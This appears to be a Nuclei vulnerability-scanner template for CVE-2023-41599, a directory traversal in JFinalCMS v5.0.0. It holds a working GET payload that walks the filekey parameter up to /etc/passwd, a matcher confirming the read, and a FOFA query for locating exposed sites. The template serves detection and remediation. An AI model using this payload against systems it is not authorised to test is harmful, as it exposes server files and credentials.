Description
An issue in the component /common/DownController.java of JFinalCMS v5.0.0 allows attackers to execute a directory traversal.
An issue in the component /common/DownController.java of JFinalCMS v5.0.0 allows attackers to execute a directory traversal.
id: CVE-2023-41599
info:
name: JFinalCMS v5.0.0 - Directory Traversal
author: pussycat0x
severity: medium
description: |
An issue in the component /common/DownController.java of JFinalCMS v5.0.0 allows attackers to execute a directory traversal.
impact: |
Unauthenticated attackers can read arbitrary files from the server through path traversal in the filekey parameter, potentially exposing database credentials, application configuration, and sensitive CMS content.
remediation: |
Update JFinalCMS to a version newer than 5.0.0 that validates and sanitizes file paths in DownController.java to prevent directory traversal attacks.
reference:
- https://github.com/wy876/POC/blob/main/JFinalCMS%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E(CVE-2023-41599).md
- https://github.com/wy876/POC
- https://github.com/xingchennb/POC-
- https://github.com/Marco-zcl/POC
- https://github.com/d4n-sec/d4n-sec.github.io
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2023-41599
cwe-id: CWE-22
epss-score: 0.11215
epss-percentile: 0.95731
cpe: cpe:2.3:a:jfinalcms_project:jfinalcms:5.0.0:*:*:*:*:*:*:*
metadata:
vendor: jfinalcms_project
product: jfinalcms
fofa-query: body="content=\"JreCms"
tags: cve,cve2023,jrecms,vkev,vuln
http:
- method: GET
path:
- "{{BaseURL}}/common/down/file?filekey=/../../../../../../../../../etc/passwd"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
# digest: 4a0a00473045022059688a16708a8dd247ce06e5542799b6f640750994d35172f061ef008bea0e81022100e8bb385bdad7468dc46373854d556b77e9318acd12e488bd9393df89600ffb42:922c64590222798bb761d5b6d8e72950
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